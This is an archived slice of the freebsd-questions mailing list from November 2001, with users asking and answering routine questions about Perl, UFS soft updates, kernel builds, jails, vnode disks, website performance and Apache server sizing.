hub.freebsd.org (Postfix) with ESMTP id 2DD7637B405 for ; Thu, 22 Nov 2001 19:26:38 -0800 (PST) Received: from k7.mavetju.org (topaz.mdcc.cx [212.204.230.141]) by topaz.mdcc.cx (Postfix) with ESMTP id 0BE452B775; Fri, 23 Nov 2001 04:26:34 +0100 (CET) Received: by k7.mavetju.org (Postfix, from userid 1001) id 07F1C3A1; Fri, 23 Nov 2001 14:26:16 +1100 (EST) Date: Fri, 23 Nov 2001 14:26:16 +1100 From: Edwin Groothuis To: Andre` Niel Cameron Cc: free bsd , cgi-list@jann.com, beginners-cgi@perl.org Subject: Re: Quick question Message-ID: <20011123142616.D58388@k7.mavetju.org> Mail-Followup-To: Edwin Groothuis , Andre` Niel Cameron , free bsd , cgi-list@jann.com, beginners-cgi@perl.org References: <034601c173cb$8edfee00$a50410ac@olmct.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <034601c173cb$8edfee00$a50410ac@olmct.net>; from AndreC@Axxs.net on Thu, Nov 22, 2001 at 10:04:24PM -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, Nov 22, 2001 at 10:04:24PM -0500, Andre` Niel Cameron wrote: > Anyone know how to get a whole random number in perl? > > rand(18) always gives decimals I need just like 12 or 7 anyone know? Multiply it by the maximum number you want, for example if you want something between [1,20] you do int(rand()*20 + 1) Edwin, wondering if you couldn't have sent it to just one mailing-list. -- Edwin Groothuis | Personal website: http://www.MavEtJu.org edwin@mavetju.org | Interested in MUDs? Visit Fatal Dimensions: ------------------+ http://www.FatalDimensions.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 19:56: 0 2001 Delivered-To: freebsd-questions@freebsd.org Received: from femail42.sdc1.sfba.home.com (femail42.sdc1.sfba.home.com [24.254.60.36]) by hub.freebsd.org (Postfix) with ESMTP id AF2C237B416 for ; Thu, 22 Nov 2001 19:55:56 -0800 (PST) Received: from localhost.lakwod3.co.home.com ([24.6.228.202]) by femail42.sdc1.sfba.home.com (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP id <20011123035555.DESY7860.femail42.sdc1.sfba.home.com@localhost.lakwod3.co.home.com> for ; Thu, 22 Nov 2001 19:55:55 -0800 Subject: Filesystems questions Content-transfer-encoding: 8bit To: freebsd-questions@FreeBSD.ORG From: Sean LeBlanc X-mda: Mail::Internet Mail::Sendmail Sendmail +mmhack 1.1 on Linux Mail-Followup-To: freebsd-questions@FreeBSD.ORG Content-type: text/plain; charset=us-ascii User-agent: Mutt/1.2.5i Mime-version: 1.0 Content-disposition: inline Date: Thu, 22 Nov 2001 21:02:38 -0700 Message-id: <20011122210238.A682@hostwiththemost> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I've been dabbling with FreeBSD a little over a week now, and I was wondering about other filesystems, and how often they are used? Also journaling filesystems like ext3 and Reiser that Linux has. I was doing some Google searches, and I saw that ufs uses soft updates to make up for not journaling? Any alternative filesystems for FreeBSD that are popular? Also, I was checking into encrypted filesystems, and came up with cfs...does anyone actually use this in practice? There didn't seem to be much discussion that I could turn up on Usenet archives on Google. Also, I've picked up Greg Lehey's _The_Complete_FreeBSD_. This was based on some Amazon reviews I've read and the fact that my local B&N actually only carried this one out of like six potentially good titles I wrote down before going to B&N. It doesn't seem bad; it just seems a tad thin on some areas, and thick on others (that I don't think I'll necessarily need). Anyone have any recommendations for a good supplement to this book...besides the web site, that is? I know lots of folks like to point there for answers, but I want something I can sit down and read offline. -- Sean LeBlanc:seanleblanc@home.com Yahoo:seanleblancathome ICQ:138565743 MSN:seanleblancathome AIM:sleblancathome We live in a moment of history where change is so speeded up that we begin to see the present only when it is already disappearing. -R. D. Laing, The Politics of Experience Management QOTD:I agree. Clearly this group should reach agreement and mitigate risk on the paradigm shift. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 19:59: 3 2001 Delivered-To: freebsd-questions@freebsd.org Received: from web13502.mail.yahoo.com (web13502.mail.yahoo.com [216.136.175.81]) by hub.freebsd.org (Postfix) with SMTP id 6A23837B416 for ; Thu, 22 Nov 2001 19:59:01 -0800 (PST) Message-ID: <20011123035901.53087.qmail@web13502.mail.yahoo.com> Received: from [202.150.128.129] by web13502.mail.yahoo.com via HTTP; Thu, 22 Nov 2001 19:59:01 PST Date: Thu, 22 Nov 2001 19:59:01 -0800 (PST) From: chia an Subject: error in cvsup To: freebsd-questions@FreeBSD.ORG In-Reply-To: <3BE9EDAC.2FCA22F5@home.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG to all bsd_users, please give ur hand to solve my problem, 1.i dont know how to make my freebsd becaome stable, so i get source from my fiend and copy into /usr/src, and then iam running make world from /usr/src, its completely without any problem, and then going to continue with mergemaster, there was alot of text appear and ask me : how should i deal with this [leave it and hand it later]? because i dont know how to solve it, i am just press enter through finished.still no problem! then i rebooting my computer and i still dont know what is the diffrent after i got stable source and running with make world and mergemaster!is it true if it will appear FreeBSD4.4 STABLE?but how to make it true? and then i cant compile my kernel, there wan an error occur : ../../conf/ldscript.i386:130 invalid assignment to location counter **Error code 1 how to solve it? __________________________________________________ Do You Yahoo!? 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GeoCities - quick and easy web site hosting, just $8.95/month. http://geocities.yahoo.com/ps/info1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 20: 2:14 2001 Delivered-To: freebsd-questions@freebsd.org Received: from web13508.mail.yahoo.com (web13508.mail.yahoo.com [216.136.175.87]) by hub.freebsd.org (Postfix) with SMTP id D0F1E37B405 for ; Thu, 22 Nov 2001 20:02:12 -0800 (PST) Message-ID: <20011123040211.93330.qmail@web13508.mail.yahoo.com> Received: from [202.150.128.129] by web13508.mail.yahoo.com via HTTP; Thu, 22 Nov 2001 20:02:11 PST Date: Thu, 22 Nov 2001 20:02:11 -0800 (PST) From: chia an Subject: still DCOP To: freebsd-questions@FreeBSD.ORG MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ohhh, still about DCOP error when running KDE [although i can run my KDE desktop after aview minute, but its so uncomfortable], i still hoping a right clue to solve this problem, thanks for ur help! __________________________________________________ Do You Yahoo!? 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GeoCities - quick and easy web site hosting, just $8.95/month. http://geocities.yahoo.com/ps/info1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 20:23: 0 2001 Delivered-To: freebsd-questions@freebsd.org Received: from corp5.cbn.net.id (corp5.cbn.net.id [202.158.3.29]) by hub.freebsd.org (Postfix) with ESMTP id 1EB3B37B416 for ; Thu, 22 Nov 2001 20:22:58 -0800 (PST) Received: from dante.naver.co.id (unknown [202.158.82.9]) by corp5.cbn.net.id (Postfix) with ESMTP id 81AB255542 for ; Fri, 23 Nov 2001 11:22:53 +0700 (JAVT) Received: by dante.naver.co.id (Postfix, from userid 1000) id B4C24356B1; Fri, 23 Nov 2001 11:22:54 +0700 (WIT) Date: Fri, 23 Nov 2001 11:22:54 +0700 From: John Indra To: freebsd-questions@freebsd.org Subject: Running Java applets with Mozilla Message-ID: <20011123112254.A94106@office.naver.co.id> Mail-Followup-To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Mailer: Mutt 1.2.5i on FreeBSD 5.0-CURRENT i386 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi... Has anyone managed to run Java applets with Mozilla? I am running -CURRENT and using Mozilla 0.9.6 compiled from ports. I have run the automatic installation of the JRE, but suddenly after Mozilla had finished downloading the file needed, and extracted the file, it crashed. If anyone manages to get Mozilla to run Java applets, can you shed the light to me? tq /john "I go, I fight, and I win!" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 20:34:12 2001 Delivered-To: freebsd-questions@freebsd.org Received: from crb.crb-web.com (crb.crb-web.com [64.124.126.247]) by hub.freebsd.org (Postfix) with ESMTP id 1DF2337B405 for ; Thu, 22 Nov 2001 20:34:09 -0800 (PST) Received: from wcuddy by crb.crb-web.com with local (Exim 3.22 #1) id 1677uk-0006Fy-00; Thu, 22 Nov 2001 23:26:10 -0500 Date: Thu, 22 Nov 2001 23:26:10 -0500 From: Wayne Cuddy To: Erwin Lansing Cc: freebsd-questions@freebsd.org Subject: Re: chroot() vs jail() Message-ID: <20011122232609.A24029@crb-web.com> References: <20011122114433.A21619@crb-web.com> <20011122121741.E29254@xor.obsecurity.org> <20011123013924.C97770@mail.droso.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011123013924.C97770@mail.droso.net>; from harvester@fnidder.dk on Fri, Nov 23, 2001 at 01:39:24AM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Sorry I missed this in my search. This is exactly what I was looking for. Thanks! On Fri, Nov 23, 2001 at 01:39:24AM +0100, Erwin Lansing wrote: > On Thu, Nov 22, 2001 at 12:17:41PM -0800, Kris Kennaway wrote: > > On Thu, Nov 22, 2001 at 11:44:33AM -0500, Wayne Cuddy wrote: > > > It appears that jail provides some added functionality over chroot. Can anyone > > > explain the differences between jail/chroot and when you would choose one over > > > the other? > > > > Try reading the manpages and the mailing list archives; it's described well. > > > The white paper is really good reading > http://docs.freebsd.org/44doc/papers/jail/jail.html > > > -- > Erwin Lansing -- http://droso.org > > I love deadlines. -- Douglas Adams > I love the whooshing sound they make as the fly by. > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 20:37: 3 2001 Delivered-To: freebsd-questions@freebsd.org Received: from post.mail.nl.demon.net (post-10.mail.nl.demon.net [194.159.73.20]) by hub.freebsd.org (Postfix) with ESMTP id 7C4E637B405 for ; Thu, 22 Nov 2001 20:37:00 -0800 (PST) Received: from [212.238.77.116] (helo=buffy.raggedclown.net) by post.mail.nl.demon.net with esmtp (Exim 3.33 #1) id 16785D-00075o-00 for questions@freebsd.org; Fri, 23 Nov 2001 04:36:59 +0000 Received: by tanya.raggedclown.net (Postfix on SuSE Linux 7.3 (i386), from userid 500) id 08842110A; Fri, 23 Nov 2001 05:04:24 +0100 (CET) Date: Fri, 23 Nov 2001 05:04:24 +0100 From: Cliff Sarginson To: questions@freebsd.org Subject: Re: A (IMHO) Question Asking Good Guide Message-ID: <20011123050424.A1201@raggedclown.net> References: <24383727@toto.iv> <15357.47999.183897.51637@guru.mired.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <15357.47999.183897.51637@guru.mired.org> User-Agent: Mutt/1.3.22.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, Nov 22, 2001 at 08:59:11PM -0600, Mike Meyer wrote: > Dominic Marks types: > > On Wednesday 21 November 2001 6:25 pm, Drew Tomlinson wrote: > > > The preface in the PDF FAQ at > > > http://www.smoothwall.org/download/pdf/docs/0.9.9/doc.faq.pdf seems > > > to be a good guide on how to ask questions in forums such as this > > > one. It might be a place to direct those that don't seem to have a > > > clue as to how support groups such as this one work. > > > > ESR has a good guide as well, somewhere on his home page > > (http://www.tuxedo.org/~esr/). > > The preface to the document is ESR's guide. > Mmm. The part of ESR's guide on how to phrase and submit questions is pretty good. Much of the way it is written however is highly quetionable IMHO. The continuing use of the third person plural to refer to "hackers" and the notion that hackers are somehow above the norms that apply to others is highly dubious. No flame war folks; just my opinion of ESR is a mixed one. -- Regards Cliff To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 20:38:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from backup.dagupan.com (www.psysc.org.ph [206.101.69.5]) by hub.freebsd.org (Postfix) with ESMTP id 19DDA37B416 for ; Thu, 22 Nov 2001 20:38:44 -0800 (PST) Received: by apmail.dagupan.com with Internet Mail Service (5.5.2653.19) id ; Fri, 23 Nov 2001 12:38:48 +0800 Message-ID: <10F29E27A956D511B0940050DA8D86A9340C03@apmail.dagupan.com> From: francisv@dagupan.com To: freebsd-questions@FreeBSD.ORG Subject: Automounting vnode disks Date: Fri, 23 Nov 2001 12:38:47 +0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, How do you auto-mount vnode disks? I created the file /etc/vntab but it doesn't seem to work: [root@host]# vnconfig -e /dev/vn0c /usr/local/vnodes/file mount=/usr/local/mount_point vnconfig: mount: Device busy the `vn' device is already in the kernel and the devices are present in /dev. I've already tried this using: [root@host]# vnconfig /dev/vn0 /usr/local/vnodes/file and then: [root@host]# mount /dev/vn0c /usr/local/mount_point which works but I couldn't make it to work with the `vnconfig -e' option. --- francis a. vidal [bitstop network services] | http://www.dagupan.com streaming media + web hosting | http://www.keystone.ph v(02)330-2871,(02)330-2872; f(02)330-2873 | http://www.kuro.ph To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 21: 0:50 2001 Delivered-To: freebsd-questions@freebsd.org Received: from grumpy.dyndns.org (user-24-214-92-93.knology.net [24.214.92.93]) by hub.freebsd.org (Postfix) with ESMTP id 1196037B405 for ; Thu, 22 Nov 2001 21:00:46 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by grumpy.dyndns.org (8.11.6/8.11.6) with ESMTP id fAN50fU95393; Thu, 22 Nov 2001 23:00:42 -0600 (CST) (envelope-from dkelly@grumpy.dyndns.org) Message-Id: <200111230500.fAN50fU95393@grumpy.dyndns.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Sean LeBlanc Cc: freebsd-questions@FreeBSD.ORG From: David Kelly Subject: Re: Filesystems questions In-reply-to: Message from Sean LeBlanc of "Thu, 22 Nov 2001 21:02:38 MST." <20011122210238.A682@hostwiththemost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 22 Nov 2001 23:00:41 -0600 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Sean LeBlanc writes: > > I've been dabbling with FreeBSD a little over a week now, and I was > wondering about other filesystems, and how often they are used? Also > journaling filesystems like ext3 and Reiser that Linux has. Is sad in a way, because FreeBSD's UFS is pretty darn good so there isn't as much motivation (as with Linux) to replace it with something else. Having said that, I'd like to see SGI's XFS for FreeBSD for no other reason than I have many years of success running SGI machines and XFS. > I was doing some Google searches, and I saw that ufs uses soft updates to > make up for not journaling? Any alternative filesystems for FreeBSD > that are popular? Type "mount" with no arguments to see if softupdates is enabled on your filesystmes. Is not enabled by default. Or at least not the way I run sysinstall. It does make a big difference. grumpy: {1002} mount /dev/da0s2a on / (ufs, local, soft-updates) /dev/da0s2f on /usr (ufs, local, soft-updates) /dev/da0s2e on /var (ufs, local, soft-updates) /dev/ad4s3e on /usr2 (ufs, local, soft-updates) /dev/ad4s3f on /usr3 (ufs, local, soft-updates) /dev/ad4s3g on /usr4 (ufs, local, soft-updates) procfs on /proc (procfs, local) grumpy: {1003} Another thing you may not have picked up on is that the routines for creating the positions of directories in filesystems has changed since the -RELEASE. The format hasn't changed, only now they are put where they are faster to get at. Has produced the most spectacular filesystem performance increase I've seen in FreeBSD since 2.0.0. Only helps on new directories, but its pretty easy to copy whatever out then back in. > Also, I've picked up Greg Lehey's _The_Complete_FreeBSD_. This was based on > some Amazon reviews I've read and the fact that my local B&N actually only > carried this one out of like six potentially good titles I wrote down before > going to B&N. It doesn't seem bad; it just seems a tad thin on some areas, > and thick on others (that I don't think I'll necessarily need). Anyone have > any recommendations for a good supplement to this book...besides the web > site, that is? I know lots of folks like to point there for answers, but I > want something I can sit down and read offline. I haven't seen recent editions of Greg's book but originally when it was written there wasn't anything else for FreeBSD. So it was fairly important to cover most everything. To my knowledge none of the current FreeBSD-centered books suffer from the Linux phenomena of "If you put Linux in the title then we'll publish." I bought one or two this past week but haven't opened them yet. I like http://www.bookpool.com/ for computer books as they have great prices, availability, and have always treated me correctly. -- David Kelly N4HHE, dkelly@hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 21: 4:28 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tic-gw.ticzone.com (tic-gw.ticzone.com [168.210.40.2]) by hub.freebsd.org (Postfix) with ESMTP id B2E6437B405 for ; Thu, 22 Nov 2001 21:04:19 -0800 (PST) Received: from ops01 ([10.0.0.212]) by tic-gw.ticzone.com (8.9.2/8.9.2) with SMTP id HAA39801; Fri, 23 Nov 2001 07:04:02 +0200 (SAST) (envelope-from erich@ticzone.com) Reply-To: From: "Erich Voigt" To: "Andrew Reid" Cc: Subject: RE: Website Remote Access? Date: Fri, 23 Nov 2001 07:04:02 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 In-Reply-To: <20011123103413.A533@aviion.alfred.cx> Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi Andrew! Thanks for the response! On my side, everything is rosy, running with lots of spare capacity and bandwidth BUT somewhere in the link between the "Client" and my webapp, there are bottlenecks, firewall, CA's poorly set up browsers, etc., etc. BUT the first thing the client does is state: "Your Site response is poor/times out/etc., etc. Now I would like to be able to (OK, I can sunscribe to 3 dial up accounts that will access my site from the other side of the country via the 3 ISP's I am using (BGP/ASN/AS)) - able to browse to a site and, as per traceroute.org, access my site THROUGH that site as if I am THERE - not a "link" as that would end up with me accessing my site 5 meters away from where I am sitting - a redirect (not cache) in real time so I can see that there is a problem with response via that link..... Usually there is NOT but I need to simulate it and tell the client to check his system/firewall/isp/etc..... Is that clearer now? Cape Town ZA 1000+ km My AppServer-PIX-Router-E1-ISP- all tracert hops-congestion-WTC----------| remote http |-Relay Box Me on my Browser-PIX-Router-E1-ISP- all tracert hops-congestion-WTC------| JHB or NYC Cape Town ZA 1000+ km Regards Erich -----Original Message----- From: Andrew Reid [mailto:andrew.reid@plug.cx] Sent: Friday, November 23, 2001 2:04 AM To: Erich Voigt Cc: freebsd-questions@freebsd.org Subject: Re: Website Remote Access? On Thu, Nov 22, 2001 at 01:48:29PM +0200, Erich Voigt wrote: > Is there not (a) system(s) out there that I can access and then from there > see what my local websites are performing like???? Something like > traceroute.org but for html ??? What do you mean? Do you want to find out the load that your server(s) are under? Perhaps you'd like to know how many pages / hour your machines are serving up. I can't really give an answer as the question is so ambiguous. Please clarify the question and we'll try and come up with an answer. - andrew -- Andrew J. Reid "Catapultam habeo. Nisi pecuniam omnem andrew.reid@plug.cx mihi dabis, ad caput tuum saxum immane +61 401 946 813 mittam" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 21: 9:49 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tic-gw.ticzone.com (tic-gw.ticzone.com [168.210.40.2]) by hub.freebsd.org (Postfix) with ESMTP id C393837B405 for ; Thu, 22 Nov 2001 21:09:38 -0800 (PST) Received: from ops01 ([10.0.0.212]) by tic-gw.ticzone.com (8.9.2/8.9.2) with SMTP id HAA39809; Fri, 23 Nov 2001 07:09:14 +0200 (SAST) (envelope-from erich@ticzone.com) Reply-To: From: "Erich Voigt" To: "Ron Hensley" , "Andrew Reid" Cc: Subject: RE: Website Remote Access? Date: Fri, 23 Nov 2001 07:09:14 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 In-Reply-To: <001901c173bd$59426060$0273150a@woodstock.lanalyse.com> Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi Ron, That sounds nearer to what I am looking for.... Typically the client says: "I get to your logon screen fine but the logon takes forever (This is using TomCat) but then it turns out that with the logon, the system is now going over to port 443 and Certs are being checked which he might not be set up for one way or another. Etc through the differnt proceses that our system takes him through. I'll have a look at that! Thanks Erich -----Original Message----- From: Ron Hensley [mailto:ronh@intercom.net] Sent: Friday, November 23, 2001 3:23 AM To: Andrew Reid; Erich Voigt Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Website Remote Access? -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 www.tracert.com has a "Speed Meter" to measure WWW Site performance from the outside looking in, as well as traceroutes and pings back towards you and even BGP Lookups if you advertise BGP Routes and want to see them from an outside routers perspective. - ----- Original Message ----- From: "Andrew Reid" To: "Erich Voigt" Cc: Sent: Thursday, November 22, 2001 7:04 PM Subject: Re: Website Remote Access? > On Thu, Nov 22, 2001 at 01:48:29PM +0200, Erich Voigt wrote: > > > Is there not (a) system(s) out there that I can access and then from there > > see what my local websites are performing like???? Something like > > traceroute.org but for html ??? > > What do you mean? Do you want to find out the load that your server(s) > are under? Perhaps you'd like to know how many pages / hour your > machines are serving up. > > I can't really give an answer as the question is so ambiguous. Please > clarify the question and we'll try and come up with an answer. > > - andrew > > -- > Andrew J. Reid "Catapultam habeo. Nisi pecuniam omnem > andrew.reid@plug.cx mihi dabis, ad caput tuum saxum immane > +61 401 946 813 mittam" > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBO/2k1lFb04N5DzUjEQImiwCg/b6u1UGeMYMCyGoBTmn4gNH84msAoNOd SgnG9b17qMlPRCrkKNBulLxx =u7ln -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 21:49:52 2001 Delivered-To: freebsd-questions@freebsd.org Received: from moutvdom00.kundenserver.de (moutvdom00.kundenserver.de [195.20.224.149]) by hub.freebsd.org (Postfix) with ESMTP id 1C0EC37B417 for ; Thu, 22 Nov 2001 21:49:49 -0800 (PST) Received: from [195.20.224.219] (helo=mrvdom03.schlund.de) by moutvdom00.kundenserver.de with esmtp (Exim 2.12 #2) id 1679DQ-0008P2-00; Fri, 23 Nov 2001 06:49:32 +0100 Received: from pd9017226.dip.t-dialin.net ([217.1.114.38]) by mrvdom03.schlund.de with esmtp (Exim 2.12 #2) id 1679DQ-0006t1-00; Fri, 23 Nov 2001 06:49:32 +0100 Date: Fri, 23 Nov 2001 04:48:09 +0000 (GMT) From: "P. U. (Uli) Kruppa" X-X-Sender: To: Julian Morgan Cc: Subject: Re: Apache and minimum server requirements In-Reply-To: <4A256B0D.0005C695.00@mail.mitchells.com.au> Message-ID: <20011123044611.C56291-100000@big> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, 23 Nov 2001, Julian Morgan wrote: > > > Would you people please let me know what are your thoughts on the minimum server > specs for the following > > I have a web site that is running freebsd4.3stable > it is a personal web site - so there might be 20 hits per day max > it has thumb nails - 10 per page, 5K each in a picture gallary... > It has 3 cgi scripts , web counter, a program called newspro - which you > might have heard - is an automated news message board, > and it has cgi password authentication... > > I will not have this server run anything else - but maybe ssh and ftp - so > I can update the code, but squid and sendmail will not be running > > I was thinking I could get away with a pentium 200 with 64MegRam (maybe 128 > - but I don't think so... All you need is a minimum freebsd installation and the apache-port . This should run very well on your machine. Regards, Uli. > > If you wanna check this site - thats cool, but it is 2 weeks in progress > and needs alot of work > it is www.starnetwork.isp.com.au > > Your thoughts would be appriciated - I am going over to england - and would love > this site to be running on an adequate machine > > Regards > Julian > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > ************************************ * P. U. Kruppa - Wuppertal * * Germany * * www.pukruppa.de www.2000d.de * ************************************ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 21:50:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tic-gw.ticzone.com (tic-gw.ticzone.com [168.210.40.2]) by hub.freebsd.org (Postfix) with ESMTP id 57EA437B418 for ; Thu, 22 Nov 2001 21:50:08 -0800 (PST) Received: from ops01 ([10.0.0.212]) by tic-gw.ticzone.com (8.9.2/8.9.2) with SMTP id HAA39875; Fri, 23 Nov 2001 07:49:50 +0200 (SAST) (envelope-from erich@ticzone.com) Reply-To: From: "Erich Voigt" To: "Ron Hensley" , "Andrew Reid" Cc: Subject: RE: Website Remote Access? Date: Fri, 23 Nov 2001 07:49:50 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 In-Reply-To: <001901c173bd$59426060$0273150a@woodstock.lanalyse.com> Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi All! This site does a lot of what I require - worthwhile for others to take note of OR participate! Thanks Ron! Erich -----Original Message----- From: Ron Hensley [mailto:ronh@intercom.net] Sent: Friday, November 23, 2001 3:23 AM To: Andrew Reid; Erich Voigt Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Website Remote Access? -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 www.tracert.com has a "Speed Meter" to measure WWW Site performance from the outside looking in, as well as traceroutes and pings back towards you and even BGP Lookups if you advertise BGP Routes and want to see them from an outside routers perspective. - ----- Original Message ----- From: "Andrew Reid" To: "Erich Voigt" Cc: Sent: Thursday, November 22, 2001 7:04 PM Subject: Re: Website Remote Access? > On Thu, Nov 22, 2001 at 01:48:29PM +0200, Erich Voigt wrote: > > > Is there not (a) system(s) out there that I can access and then from there > > see what my local websites are performing like???? Something like > > traceroute.org but for html ??? > > What do you mean? Do you want to find out the load that your server(s) > are under? Perhaps you'd like to know how many pages / hour your > machines are serving up. > > I can't really give an answer as the question is so ambiguous. Please > clarify the question and we'll try and come up with an answer. > > - andrew > > -- > Andrew J. Reid "Catapultam habeo. Nisi pecuniam omnem > andrew.reid@plug.cx mihi dabis, ad caput tuum saxum immane > +61 401 946 813 mittam" > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBO/2k1lFb04N5DzUjEQImiwCg/b6u1UGeMYMCyGoBTmn4gNH84msAoNOd SgnG9b17qMlPRCrkKNBulLxx =u7ln -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 21:51:23 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pioneernet.net (mail.pioneernet.net [207.115.64.224]) by hub.freebsd.org (Postfix) with ESMTP id 